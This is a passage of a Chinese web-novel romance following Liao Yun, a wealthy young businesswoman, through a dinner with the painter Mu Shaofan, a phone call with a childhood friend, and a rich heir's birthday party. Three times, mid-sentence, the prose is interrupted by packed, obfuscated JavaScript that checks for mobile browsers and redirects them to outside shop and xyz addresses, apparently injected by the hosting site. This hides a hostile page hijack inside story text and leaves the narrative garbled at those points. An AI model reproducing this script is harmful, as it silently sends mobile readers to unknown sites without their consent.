韩餐店里大多都是单桌,两人对坐刚好。慕邵凡半边僵硬着和她隔着车钥匙牵着手,一边小心顾着她,一边找了个相对安静的位置,为她拖开椅子。 她托着腮命令:“倒水。” 慕邵凡放下衣服袋子,单手拿过杯子,单手给她倒水。在水满之前,廖筠坏心地用食指轻轻挠了一下他的手心,结果他反应很大,胳膊肘磕到了桌角,手一抖,水全洒了出来。 廖筠笑了:“愣着干嘛,擦呀。” 他耳根发红,赶紧抽来纸巾擦桌子,全程没敢抬头。 在他手心又挠了两下,眼看着他这张漂亮的脸蛋渐渐被红晕侵染,小臂肌腱鼓起,捏着她的手指紧张地轻颤,睫毛抬起又落下,却只能偷偷地看她,羞赧不敢言,还真是可爱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283489|151953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>别的不说,至少他是白纸这件事没有撒谎。 廖筠心情大好:“自我介绍一下,我叫廖筠,温庭筠的筠。你要是不想叫廖总,脸皮又够厚……在外面也可以叫我主人。不过我是不会答应的,我比较要脸。” 慕邵凡擦桌子的动作顿住:“有没有第三个选择?” 廖筠直接把手抽走:“没有。” “您好,两位要吃点什么?”服务员拿着菜单及时出现,打断了他们的对话。 廖筠点了几样菜,并不过问他的想法,点完了就玩手机跟庆衾聊天,把他晾在一旁。 莫寻被派去跟任拂晓了,阿杨又被她弟叫走当免费劳动力,要不是这俩人不在,也不至于让这个实习助理出面。庆衾脑子还挺聪明的,跟她同校不同专业,成绩方面是个学霸,就是人情世故弱了一些,社会经验不足。 不过女人么,就算走进职场,也不是一定变得多世故圆滑就好,要是沾染上男人那种油腻,跟背了个污点有什么区别。难不成有人随地小便,其他人就得脱了裤子迎合么。 廖筠有意锻炼她,也是希望她能在保持自我优点的前提下尽快提升,最好再机灵一点。 嘱咐庆衾早点回家,别被那个没用的男人缠住,廖筠放下手机的同时,正好撞见慕邵凡在看她,被她发现马上又偏开了视线。 他一天都没戴眼镜,近视应该不严重。那个FROLA的镜框还在她包里呢。 晃了晃腿,廖筠故意用高跟鞋的鞋尖碰了他一下,惹得他惊慌又无措,低头喝水,差点被水呛到。 廖筠眼里满是试探的玩味:“我还真想到了第三个选择,不过你要解锁的话,有限时条件。” “什么条件?” 从包里拿出镜框放在桌子上,她开门见山:“说说这副眼镜吧,哪来的?可别说不认识FROLA,也别说是捡来的,如果说有人送,那我肯定会追问是谁。总之趁我还在好奇,赶紧想想,快点回答。” 慕邵凡面无表情地眨了眨眼睛,放在腿上的那只手忐忑地攥紧:“眼镜……是,是我自己的。你喜欢这个牌子吗?” “还行,继续。” 慕邵凡不自觉皱着眉头,妄图揣测她的态度:“你能认出它的工艺,肯定知道它很小众,这种日常用品没什么特殊价值。” “然后?” “然后……”他支吾了几秒,脑子都要转疯了,“黄诗灵老师是我师父。” 周围空气凝固了一瞬,紧接着就听廖筠的语调骤然拔高:“你说谁?” “黄诗灵老师是云州美院退休返聘的教授,和FROLA的继承人Selene是旧相识,她……” “我知道,”廖筠不耐烦地打断,“但你所说的‘师父’,不是上过她的课就能叫的吧?是磕头拜师的那种?” “对。” “如果我没记错,她八年前就不再收徒弟了,你几岁拜她为师?” “那时候不到十四岁。” 廖筠皱紧眉头,脸色彻底沉了下来,语调不悦:“十四岁就能拜她为师,你也算半个天才了,混到如今穷困潦倒,晚上要去酒吧打工?无数橄榄枝拒之门外,偏要去跨专业考研?你最好想清楚你说的每一句话,谎言太多了,我很不喜欢。” 7. 07,渣女 迎着餐馆里不太明亮的灯,慕邵凡的眼里透着一种愚蠢的清澈。 这倒不是因为他真的无知或者演技高超,而是眼镜会被认出来本身就是一场巨大的意外,廖筠会追问不放更是超出了他的准备。 没有准备能怎么办呢,含糊其辞显然不会有什么好结局。 低下头,他拿出自己的二手机,翻了一张跟黄诗灵及Selene的合照。 Selene是FROLA的继承人,华裔,年纪不轻了,但界内一直称她为“小公主”。她站在中间,和黄诗灵亲密地挽着手笑,而慕邵凡在一旁,像被拉过来凑数的。 廖筠盯着照片看了两秒。 这玩意儿不至于是P的吧…… 慕邵凡好似读懂了她的想法,把手机推向她:“这是2015年,黄老师带我去国外参加画展,后面还有一些。”意思是她可以随意往下翻看。 廖筠才不会真的去翻人家手机,敛下眸子,静静地喝了一口水,什么都没说。 慕邵凡暗自松了口气,冷汗差点流下来。 “我知道我现在混得不好,所以很少提起黄老师。她希望我能出国发展,也安排过我一些工作,但是……我辜负了她很多,”慕邵凡一边说,一边紧张地收回手机,“我家里人想让我学做生意,希望我能尽早成家立业,担起责任。” “放弃出国深造,去酒吧成家立业?你家里人脑子……”一向嘴毒的廖筠顿住了,大发慈悲地没往下说。 “画画这一行他们是不理解的,我也没想让他们理解,混到现在这么纠结为难,只怪我能力不足,又有自己的固执。” 服务员开始上菜。 廖筠刚放下喝了一半的杯子,慕邵凡立马拎起壶给她续水,伴着水声,她放在一旁的手机又响了起来,陌生号码归属地——芳州。 她像听不见,任由手机一直响,幸好店里嘈杂,也不算吵闹。 拿起筷子,她先用纸巾细细地擦了一遍:“我家里人也不怎么聪明,不过万幸他们都知道我聪明,会听我的,所以才能有我们廖家的今天。愚蠢其实不可怕,可怕的是不自知,还狂妄。” 慕邵凡听说过她的事迹,猜她可能对这种家庭话题感兴趣,顺着她说:“我爸年轻的时候做生意还挺厉害的,可惜他好赌,家产都赔光了,到最后还觉得再赢一局就能翻盘,我们怎么劝他都不听。” “你需要钱替他还债?” “不用,我爷爷把他扫地出门了,不让我们管他。” “是你爷爷想让你做生意?” “嗯。我跟着外公外婆长大,他们都去世了,前几年爷爷来找我……可能是觉得我爸没救了,对我还挺上心的,一直想栽培我。我能理解他的想法。” “……算了,我说话难听,吃饭吧。” 有生意头脑的儿子成了赌徒,有画画天赋的孙子被逼从商,这爷爷想法她可是理解不了。 她从十几岁接手家里财政大权,起初年纪小,又要上学,只能做一些理财和投资,全家老小难免有人不信她,幸好她的爸妈愚蠢却盲目爱她,坚信她是祖坟冒了青烟才歪出来的高智商,什么都听她的。 还有她那个二货弟弟,简直是她最忠诚的拥护者,谁也不能当着他的面说姐姐半句坏话。 她家原本只是普通家庭,现在却已经在云州有一席之地了。没有她就没有如今的廖家,这是无需争辩的事实,整个家族连带着远房亲戚几十口人,谁不对她感恩戴德。 她习惯被拥护和肯定,更习惯了恣意妄为地活着。但显然,慕邵凡远没有她幸运。 廖筠一直没再说话,吃饱后又喝了点水。慕邵凡看她开始补口红,也跟着放下筷子。 “要走了吗?” “是啊,我先走了,你自己回家吧。” 廖筠拎着包起来,慕邵凡赶紧去买单,然后匆匆忙忙地追着她出去。 人群来来往往,廖筠怀疑自己要是不开口,他就会一直跟着。又走了几步,突然在墙边停下,身后的人果然没反应过来,胸膛撞上了她的后背。 不过这次慕邵凡是清醒的,眼疾手快伸手一捞,直接长臂抱住了她的腰,小臂横在她腹部,稳稳地为她保住了平衡。 廖筠可不是那种会轻易脸红的小女孩,顺势抓住他的手摸了两下,转过身来:“刚才说让你陪我只是随便说说的,我还有别的安排,你勾引我也没法留下。” “对不起,”慕邵凡慌张退了半步,可能觉得话有歧义,又补充道,“我是说,不是故意撞到你的。我只是想确认你是不是在生气,如果是的话,我可以再解释一下,我们不要带着误会结束今天的见面。” “解释什么?你是黄诗灵的徒弟,刚才不是说过了么,我有什么好生气的。”廖筠拉着他的手,跟上去半步,下巴微扬,和他几乎紧贴而立。 好心帮他整理衣领的褶皱,明显感觉到他在紧张。手指关节状似无意地划过他的喉丨结,顺势蹭了蹭,如毒蛇吐信般幽冷的声音极轻钻进他耳朵:“不过我突然在想啊,你堂堂大画家,时间宝贵,还跑去酒吧打工,被人下套,又碰巧找我求救。你说,你会不会有很多秘密,为了接近我,故意装成了小白花?” 慕邵凡脊背一阵发凉。 他知道她在试探,但被她所压制过的那种窒息感和快丨感却一拥而上,一瞬间令他身体紧绷,头皮发麻,吞了口唾沫,半晌才找回自己的声音:“……人都是有秘密的,但我对你绝对没有恶意,你救过我,我不会背叛恩人。你可以信任我。” 模棱两可,顾左右而言他,怎么信任? 廖筠细细地观察着他的神情。 哪怕是在光影混乱的街头,这张脸也还是很好看,尤其是得配上他这副表情,好像个委屈又无助的小娇夫。男人都是下半身动物,她又是他的启蒙老师,如果他真的带着什么目的,有意接近她……那这段关系或许会很意思。 成年人的世界中,纯爱才是最变态的性丨癖,她从不会在别人身上寻求爱。像他一样的男人,对她来说就只是玩具。 谁会在乎玩具有没有真心,谁会去扒玩具的族谱呢。玩具只要漂亮,干净,好玩,那就值得体验。 她会实现养他的承诺,做好他的靠山,允许他的接近,然后玩弄他的感情,搅乱他的目的,再把他一脚踹开……说不定最后能把他欺负哭呢。 廖筠突然笑了笑,轻拍他的肩:“别这么紧张,逗你的。我待会儿是真有事,不是在跟你生气,马上就得走了,我们没有带着误会结束。你乖一点,我会再找你的,好吗?” 慕邵凡捏着她的手不放,很小声问:“那第三个选择还能告诉我吗?” “啊,你不提我差点忘了,要不……你叫我妈妈吧,我还挺想养你这种小画家儿子的。” 看着慕邵凡的眼睛慢慢睁大,一脸呆滞错愕,廖筠的恶趣味简直得到了极大的满足,直接笑出了声。 从包里拿出一张名片,她歪了歪头,像给小费似的用食指和中指夹着递过去,在他伸手的瞬间又往后撤,嘱咐他:“可以想我,但不能打电话。” “我怎么联系你?” “联系我非得打电话吗?” “……好吧。” 廖筠并不解释名片上的号码没在使用,不能打是因为打不通。不过温跃既然找到了备用号码,主号也没必要躲了。直接把名片塞到他手里,她的语气轻松且随意:“手机号最后一位改成6,可以加我私人微信,有事微信找我。还有,算是礼尚往来, “我的小名,廖盈盈。” 潇洒的背影融于人海,走远之前,廖筠隐约听见服务员追出来给慕邵凡送东西,是眼镜和衣服袋子没拿。 那袋子里她放了五万块钱现金,就在衣服底下。数目不多,可是这座纸醉金迷的大城市,月薪三四千还要交社保、租房子、省吃俭用的普通年轻人比比皆是。她也是从普通人过来的,所以很明白普通人生活中的阻碍,主要就是缺钱。 慕邵凡想考研,又没有太多精力去赚钱,先给他一笔,既是试探,也是保障。 可惜,她哪能想到人家竟然是黄诗灵的徒弟。黄诗灵和FROLA一样,不是有钱就能攀上关系的。要是能靠他搭上线……那她也可以考虑对他好点。 回到车上,廖筠听着舒缓的音乐声,坐在后座休息了一会儿,正准备把下午买的新手机开机,芳州的电话又打了过来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283490|151953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她愣愣地看着来电显示,心情复杂,叹着气按下接听。 “喂。” “……廖筠?” “是我,你可真是瘟神啊,电话催命地打。” “……怎么不让你的小帅哥接了?” “小帅哥早睡早起,你有什么要紧事快说,我忙得很。” 温跃嘴硬:“你忙就是了,我没要紧事。” “那挂了。” “廖盈盈!” “干嘛。” “你对我态度能不能好点。” “在我说‘挂了’之后没秒挂,已经够给你面子了,别得寸进尺。”廖筠撩起脑后的长发,晚上温度没那么高,但她还是嫌躁得慌,想起中午就是在这休息了一会儿,发绳丢了,于是开始到处摸。 温跃被她从小怼到大,早就具备了精湛的自我调节能力,深呼吸一口气:“我有事找你。” “说。” “不是要紧事……” “说不说?” “咳,就是周六在贺召家喝酒的时候,你是不是趁我喝醉,说了什么?” 廖筠没反应过来:“什么?” 温跃以为她装傻充愣,一点就炸:“你说要跟我翻篇!” 廖筠连忙把手机拿远了点,幸好没戴耳机,差点被他震聋了:“你这不是记得么,干嘛还问。” “你!”温跃气得不行,自我调节了这么多年难得失败,“廖盈盈,一个破周末,我大老远的跑回云州,来回都是站票!十几个小时!你当我闲的,就是为了找你翻篇?” 廖筠一阵头疼,心情更加烦躁。 摸着黑,伸长了胳膊在旁边的座位上也找了找,死活找不到那个莫名消失的发绳。 温跃没听见她的动静,略有心虚:“你,你怎么不说话了?” “想让我说什么?在贺召家里你既然清醒,那就别装失忆,芳州那晚你应该也清醒吧,男人真醉了可是硬不起来的。” 温跃更加心虚:“你是不是想起什么了?关于那晚……” 那晚,她生意谈得不顺,撩的校体黑皮大帅哥又正好是温跃的学弟,正亲着呢,温跃突然冒出来,不让她渣人家,她当然不乐意,吵着吵着就把温跃领回了酒店。酒喝了很多,一整夜大脑空白,第二天醒来就在床上了,没有记忆,也没有衣服。 她虽然是个颜控,也不搞女德,但她不觉得自己会这么胡来,就算温跃长得好看,看了二十二年,也不至于突然看对眼了吧。何况连一个套都没用,她也没感觉啊…… 可是温跃却非说有什么,非说要对她负责,问他就说做了,再问就开始道歉。 温跃的人品她了解,从小就是标准的阳光正直好学生,虽然小学的时候爱给老师当狗腿子,被赐了个瘟神的外号,但是他学习好,性格好,考前还帮同学押题,一度扭转成为温神。就他这种人,绝对不可能因为这种事骗她。 所以确实做了。 他们两个真的促成了一个大错误。 闭了闭眼睛:“温跃,现在你我都是清醒的,我有话直说了,不管那晚发生什么,都只是事故。翻篇是最好的办法,我不想让别人知道我连自己的发小都下手,你能明白吗?如果你觉得我是渣女,我认,然后呢?难道我们要谈恋爱吗?还是说你想把这事儿告诉贺召他们,让他们来讨伐我?” 温跃被堵得语塞:“我没这么想……” 找不到发绳,廖筠正想用数据线绑上算了,拔线的时候手背突然撞到了一块奇怪的物体,让她动作顿住。车里一片昏黑,但她这种摸着钱长大的不会认错,这是一沓钱。 反手确认了一下厚度,估摸着是五万。 沉默的片刻,氛围很尴尬。 温跃似乎想了很多,努力模仿着豁达的语气说:“行吧,那这样,你……没开外放吧?既然要翻篇,就不提了啊。都认识这么多年了,给我留点面子,别让第三个人听见。” 廖筠刚把手机放到腿上,正好没听清。 打开车里的灯,从那一沓钱里抽出一张小卡片,上面有她留的三个大字:饲养费。 不同于她张扬漂亮的写法,下面回了娟秀清雅的四个小字:主人保管。 8. 08,情人(男二) “廖盈盈?”温跃没得到回应,奇怪地叫了她一声。 廖筠回过神来,以为温跃还想挣扎挽留,叹着气劝他: “你记不记得有一次我们说,以后退休了,要一起拖家带口去旅游。那时候咱们才十几岁,我都忘了,贺召妹还留着长头发呢。你们都在想象以后会有一个怎样幸福的家庭,连我弟也说,他以后的老婆肯定特别善良,一定能包容他的智商。但是你知道的,我没想象过。你一直都知道我没有结婚生子的打算,更不会为了所谓的家庭浪费人生。” “我知道……” “所以我不想伤害你,也不想让朋友们尴尬。我们就让这个错误翻篇不好吗,永远只做朋友不好吗?” 温跃苦笑:“好啊,当然好。” 廖筠半信半疑:“这可是你说的,答应了,就别再给我打电话说你忘了。” “嗯。” “下次回来也不要买站票了,对自己好点。” “……嗯。” “拜拜。” 通话结束,廖筠如释重负般吐出一口气。 逼得她连怀旧感情牌都打出来了,真是麻烦。她知道温跃肯定会难受一阵,但她没那闲工夫去在乎每一个人的心情,搞什么情情爱爱,吃苦还不是自找的。 把主号的SIM卡换到新手机,她复制了一条莫寻查到的号码拨了出去,没等几秒,步行街吵吵闹闹的动静便穿透这短暂的阻碍,伴随着对面温柔的声音一涌而来—— “喂你好,哪位?” 她不自觉勾起嘴角:“敏敏,猜猜我是谁?” 慕邵凡直接在原地愣住,欣喜与错愕交织着差点没咬到舌头:“廖……你?……不是,我,不是不能打电话吗?” 廖筠忍不住笑:“现在是我给你打的。” “……哦对,我忘记了。” “看到你的微信好友申请了,还没走吗?” “本来要走的,”慕邵凡的语气总是透着一种呆萌的坚定,“可是我迷路了。” 廖筠按了按眉心,一个步行街而已,这狗怎么是个路痴。 “五分钟,过来开车,我带你出去玩。” …… 从夜市转战高楼。 廖筠把慕邵凡叫回去打扮了一番,换上西装,做了发型,还喷了香水。 这朵小白花手段了得,把饲养费如数归还的行为无疑就像一道钩子,又引起了她的兴趣。 她想的是,既然他真的不要钱,只让她撑腰,那就带他出去转转好了,反正只要她心情好,宠着他也不是难事。 乘坐电梯直上几十米,廖筠拉着他的领带,穿过迷宫似的长廊,来到了一处面积巨大、布置华丽的露台,人很多,是什么party现场。 她一露面,立刻有人毕恭毕敬地迎接:“廖总,您可算来了,小张总一直在等您。” “等我?”廖筠随意看了一圈,“在哪儿快活呢,影都找不着。” “您跟我来,在玫瑰沁园,还没吹蜡烛呢。” 廖筠不紧不慢地跟上,吩咐慕邵凡:“你今晚有两个任务。一个是帮我挡掉讨厌的酒,另一个是乖乖跟在我身边,做好全场最漂亮的花瓶,知道吗?我们去露个面就走。” 慕邵凡听见“小张总”三个字的时候顿感不妙,心不在焉地四处看:“哦,好。” 穿过一片玫瑰花园,这边人少一些,但依然很热闹。 眼看着小张总就在前面,一群人簇拥在旁,桌子上还有个半米高的生日蛋糕,廖筠突然被身后人拉了一下,步子稍顿。以为他害怕,反手抓住他:“慌什么,很紧张?” 慕邵凡像见了鬼似的,竟然别扭地低下了头,好像在躲谁:“……人太多了,我,我不太适应,可以先不过去吗?” 廖筠奇怪:“还真紧张上了?又不让你来相亲。有我在,你怕什么。” “廖筠!” 那边的小张总眼尖地发现了他们。 廖筠察觉到慕邵凡确实在退缩,手都快抽走了,没在开玩笑,顿时冷下脸把他甩开:“不适应就滚远点,别给寿星惹晦气。” 转过身,小张总已经大摇大摆地来到了她面前。身后就跟站了排闪光灯似的,所有人的目光都跟着他转移。 一身高定西装穿得潇洒又贵气,小张总梳着背头,嘴角噙着抹很浅的笑。眉目深邃,双眸狭长,漂亮深情的狐狸眼并不影响他的俊朗清贵,反而透着一股漫不经心的痞气和慵懒。 他就像一个天生的主人公,就算是不喜欢他的人也没法否认他长得很帅。 “我说廖筠啊,还记得我过生日呢,芳州到底有什么好玩的,一个发小就把你迷得不想回来了。” 廖筠环抱着胳膊,空着手给寿星甩出一句:“生日快乐。” 小张总笑了,学她抱着胳膊:“礼物呢?纯祝福也太生硬了点。” “我来还不算礼物?”廖筠下巴一扬,绕过他往前走。 旁边围着的人们一个赛一个的光鲜亮丽,全都是来自不同阶层的少爷小姐,岁数小,廖筠又是近几年刚冒出来的,没有家族世交的背景,很多人不认识她也正常,都怕给错反应。 小张总看见这群人就烦,骂骂咧咧:“一群蠢货,不打招呼看什么呢?廖总好不容易给我面子来一趟,赶紧来两个帅的,嘴甜的,哄廖总开心一下。” 廖筠找了张沙发落座:“神经,你拉皮条呢,胡说什么。” 小张总的助理赶忙上前来给她开了瓶好酒,态度极其谄媚。小张总更是顺势坐在她身边,胳膊搭在沙发靠背上,自然地朝她倾斜:“那我也只给你啊,旁人哪有这待遇。” 这时,不知道谁家的少爷主动出面,双手抢过助理的活开始倒酒,笑嘻嘻地说:“廖总,小张总,我敬您二位!” 助理一阵惶恐,来不及阻拦。 这人未免太不了解小张总的脾性,廖筠那可是他的心头好,哪能真让别人往上贴。 小张总见状果然当场变脸,一个凌厉的眼神飞过去:“要长得帅的,你过来干什么,自己心里没数还没照过镜子吗?滚!” 抬腿一脚踹倒了桌上的酒瓶,“哐啷”碎裂地上的同时,周围炸开了一片哄笑。 敬酒的少爷笑也不是哭也不是,成了个丢人的大热闹。 廖筠摆摆手让那人赶紧走:“过生日都不老实,你能不能善良点,别整天为难人。” “我怎么不善良了?就你爱数落我。”小张总一脸无辜,精心打理过的发型有几缕发丝自额前垂落,他毫不在意,压着声音凑近她,“听说你昨天去我楼上开房,睡了我们酒吧的服务员,就刚才那小子?一般啊,怎么不带过来?” 廖筠没有斗嘴的兴致:“都说‘一般’了,还带过来干什么。” “怎么,不高兴?谁又招你了,”小张总开了瓶新酒,亲自给她倒上,“咱俩半个月没见,也不说想想我。” “天生臭脸,没人招我。想你个鬼。” 小张总是世家子弟,云州有头有脸的人物,身份地位不是普通有钱人能比的。如果廖筠只是牵着狗来招摇过市,他顶多调侃两句就罢了,可要是让他知道狗没有当狗的自觉,还敢驳上位者的面子,那他绝对会发火。 回头她有的是时间慢慢训狗,没必要在人家生日宴上闹大。 小张总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14283491|151953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着把酒给她:“我都听小李说了,WRing有个姓骆的坏了你的规矩。你要是因为他,无论想怎么处置,只管开口就是了,我照办,怎么样?” 廖筠意味不明地看了一眼那个助理,话里有话:“手下人办事不周,我干嘛迁怒你。不过你既然提了,我还正想问问,你的WRing是不是已经不管了?服务那么差,员工还整天想着做兼职。” “兼职?” “是啊,兼职帮老板找小白脸啊,金丝雀的,敢不同意就设局做套,威逼利诱,再下药强迫,得手率很高啊。” 空气诡异地安静了很短的一瞬。 小李脸色精彩地变了几变,赶紧招呼众人:“来!我们先来这边玩,待会儿再陪小张总切蛋糕,大家先来喝酒吧!” 一群人乌泱泱转移阵地。 小张总松了松领口,敞开两颗扣子,跟个大爷似的倚着靠背,不悦地耷拉着眼皮:“怎么个意思,开玩笑说我拉皮条就算了,真以为我搞那种东西?你今天要是专门来给我添堵,那你成功了,慢走不送。” 廖筠直接用高跟鞋尖往他西装裤上不轻不重地踢了一脚:“少在这不识好人心啊张洵,我可是专门赶过来找你的,你敢撵我?” 张洵冷哼,不说话。 廖筠随手拿起手边的空酒杯,示意他倒酒。 他不理,她“叮”的一声撞上去,颇有剑拔弩张的意味:“姓骆的手段不干净,最近在你的场子里弄什么药,你不知道吧?昨天我跟他具体发生了什么,你也不知道吧?小李有消息都敢瞒着你了,把你当宝宝哄,你还把这些麻烦留在身边。” 张洵的目光垂落在两人的杯子上。 手腕微抬,就这么把自己的酒倒给了她:“尝尝,从我妈那儿顺来的,整个云州可就那么两瓶,另一瓶在地上呢。” “你听我说话没?” “听见了,”张洵拖着腔调蹙了蹙眉,接着却弯起嘴角,像个臭屁的小孩,“你关心我么。” 廖筠直接白眼,抿了口酒。 张洵笑着往她跟前凑,好像刚才的冷脸不存在似的。他们俩聊天就好爱这样,一会儿像是要打起来,一会儿又好得不行。 “WRing我的确很久没管了,没想着你那么喜欢,拿我的地方当猎场?” 廖筠不否认:“随便逛逛,欣赏一下帅哥,纯属个人爱好。” “哦,那我明白了,”张洵几乎要贴到她耳朵上,“莫非那个服务员是你从姓骆的手里救下来的?难怪,为了新欢讨伐旧情人,还不给我准备礼物,真无情。” 廖筠知道他放浪轻浮,又疯得很,听说他未婚妻今天回云州了,估计就在附近,不想让旁人看热闹,无奈伸出一根手指头抵在他额头,把他推远了些:“谁说我没准备礼物,我带着正经事来的,你听不听?” 张洵摆出一副虚伪的乖巧样:“听啊,廖总说话我哪敢不听。” “好消息,坏消息,听哪个?” “好的。” “你差的那几吨材料,我有人帮你解决,云港区仓库的存货够你先用一批了,成本可以压到你的理想价。” 云州靠海,进出口业务繁茂,云港区是港口贸易重地。张洵眼中的意外一闪而过,接着便放下酒杯,拢住她的手,左摸右摸:“那坏的呢?” “月底之前付全款。” “……这两天不就是月底了。” “是啊。所以赶紧考虑。” 张洵一双狐狸眼醉意朦胧,眼底却透着清醒的精明,把脸贴在她的手背上轻轻蹭:“可是我的钱都砸进去了,新办公室还装了一半没管呢,拿不出款来,怎么办啊。” 9. 09,勾引 廖筠轻笑:“谁让你一上来就铺这么大,又没有张家兜底,吃点苦头也是应该的。” 张洵讨好地捏捏她的手指,眸光流转,那模样简直就像在纣王跟前吹枕边风的苏妲己:“有廖总你在,我用不着张家,我们这些被资产套住的还不都是你的掌中物……你也知道我做这桩活只是为了抢骆炀的生意,赚了算你的,赔了算我的,我只要能玩死他就爽了,怎么样?” 骆炀是张家的私生子,现在正跟张洵争家产,两方闹得不可开交。 廖筠不止一次被张洵要求入局,但她对这种麻烦事是真没兴趣,抽回手道:“张夫人都这么盯着你了,我敢掺和这一手,她能饶得了我么。指望我没戏,自己想办法。” “还说呢,我妈过两天又要弄一次家宴,”张洵一提张夫人就心烦,本想摸一支烟,想起廖筠不爱闻烟味,又改为喝酒,“你陪我一起吧,你都几次没来了,她老提起你。这次还让我给那老头做顿饭,表表孝心。我觉得干脆下毒算了,省时省力。” 廖筠无奈:“你什么时候才能谨言慎行啊,整天说些疯话,回头再让有心人听见。” “听见怎么了,把老头气死更好。” 那边小李神色紧张,接完一通电话突然快步过来,在张洵身边耳语了什么。张洵烦躁地站起身,抖了抖衣领:“我先去应付个人,你稍等会儿。” “去吧,不急,我这就走了。” “你不留下陪我过生日?”张洵直接不乐意了,看她真要起来,摁着她的肩膀把她推回了沙发上,跟个流氓似的,顺势俯身亲了她一口。 她吓了一跳,赶紧推他:“发什么疯!” 张洵用指背蹭了下自己的嘴角,看到上面沾了一点口红,歪着头得意地笑:“标记啊,我不是你的所有物么。” 廖筠很了解他,看他一抽风就知道要犯什么病:“是你那假未婚妻找你吧,面子挺大,她上次来云州好像还是两年前你求婚的时候,你们俩见一面真不容易。” 张洵无所谓:“我跟她有什么好见的,见也是谈生意。你等着,不准走听见没?我马上就回来。” “快去吧,废什么话。”廖筠懒得多说,倒上酒,打算等他走了再溜。 她跟张洵认识七年,忘了是哪一年的时候,她随口说喜欢玫瑰,张洵就特意挑了这个好地方,种满了一大片玫瑰。嘴上说是讨她欢心,后来却在这里跟他的联姻对象求了婚。 求婚那天廖筠被邀请,就在楼上的小花园坐着,但直到今天,张洵都没让那位未婚妻在她面前出现过,所以她并不知道人家长什么样,也不好奇。只知道那位小姐姓江,事业心很强,除了利用张洵身份的时候,压根当他不存在。 为了家族利益假装联姻的不少见,求婚过去两年,俩人也都一直拖着,并不打算真结婚。 连一手撮合联姻的张夫人都不当回事了,每次家宴都让儿子邀请廖筠过去,那眼神就跟看亲闺女似的,特别喜欢。 可惜廖筠没有结婚的想法,他们要想争家产,也只能对外续着这段不存在的婚约。 “廖总!真的是你。” 一道惊喜的声音忽然传过来,打断了廖筠的思绪。 廖筠反应了一下,眼前这个斯文的男生好像是骆炀那边的亲戚。之前见过,忘了叫什么了,只记得年纪比她小,是她喜欢的类型,撩过,还没得手就被张洵发现,生气地警告她不准跟骆炀那边的人有牵扯,就没后来了。 “我叫赵曦玉。”他腼腆地笑笑,看穿了廖筠贵人多忘事。 廖筠故作恍然大悟状:“啊,赵曦玉,赵二公子,我记得你。” 赵曦玉坐下,想帮她倒酒:“好久不见,听说你已经大学毕业了?” 廖筠擎着杯子躲开:“没事儿少听说这种与你无关的消息。” 赵曦玉一怔,举杯认错:“是我扫兴了,向你赔罪。” 廖筠跟着虚晃了一下,没喝。 赵曦玉为表诚意一饮而尽,倒是挺干脆。 廖筠不禁多看了他两眼,感觉他好像变得成熟了不少:“你的同伴呢?” 问的是他的女伴。 赵曦玉伸手指了指旁边:“我朋友在那儿,他们其实也想过来打个招呼,但是怕打扰你……” 廖筠顺着他指的方向一看,竟然是五六个年轻气盛的男人,颜值中等,身材不错,最重要的是阳光开朗,没有风尘的油腻,应该和他一样还在上学。 一群小奶狗啊。 之前张洵就说过,赵曦玉肯定是骆炀安排过来勾引她的绿茶,让她务必提防这种劣质的美男计,可是她又怎么会在乎呢。连要训狗的事也忘到了一边,吩咐道:“把你的朋友们都叫过来。” 等张洵在谈事的空隙注意到廖筠的时候,她已经被年轻帅气又嘴甜的男大学生包围了。 混在里面的赵曦玉那么扎眼,时不时地朝他这边看,好像在耀武扬威,气得他把刚支走的小李又找回来:“姓赵的怎么进来的?” 小李为难:“赵二少爷心眼小,会告状,他既然带了朋友来,总不能拦着,面子上过不去,夫人那边……” “你听我的还是听‘夫人’的?”张洵不耐烦,这次赵曦玉有备而来,同伴里已经有两个不知检点的快贴到廖筠身上去了,“我妈只是让你看着我别惹事,没说让你管着我当怂包吧,你不去是吧,那我去。” “小张总!您别冲动……”小李着急地跟在后头。 还没走出两步,一个奇怪的男人闯入了玫瑰沁园,旁若无人,径直来到廖筠身后。跟男大学生们周旋的廖筠拿着满满的一杯酒还没喝,被他直接伸手夺走。 廖筠愣了,仰头向上看,毫无防备地撞进了对方低垂的目光中。 身边的男大学生们也纷纷看过去,但男人眼里只有廖筠,不知道委屈地说了些什么,然后一口气把那杯酒喝掉了。 廖筠见状抬起胳膊,向后伸着摸了一把,摸在他的腹肌,他的耳朵却红了。 张洵顿时黑脸,扯着小李的衣领把人拽过来:“你昨天说那个服务员叫什么?” “呃,好像叫慕邵凡,慕是草字头……” “我不想听废话,去查他底细,现在!”怒吼一声,狠狠地推开小李,明摆着拿人撒气呢。 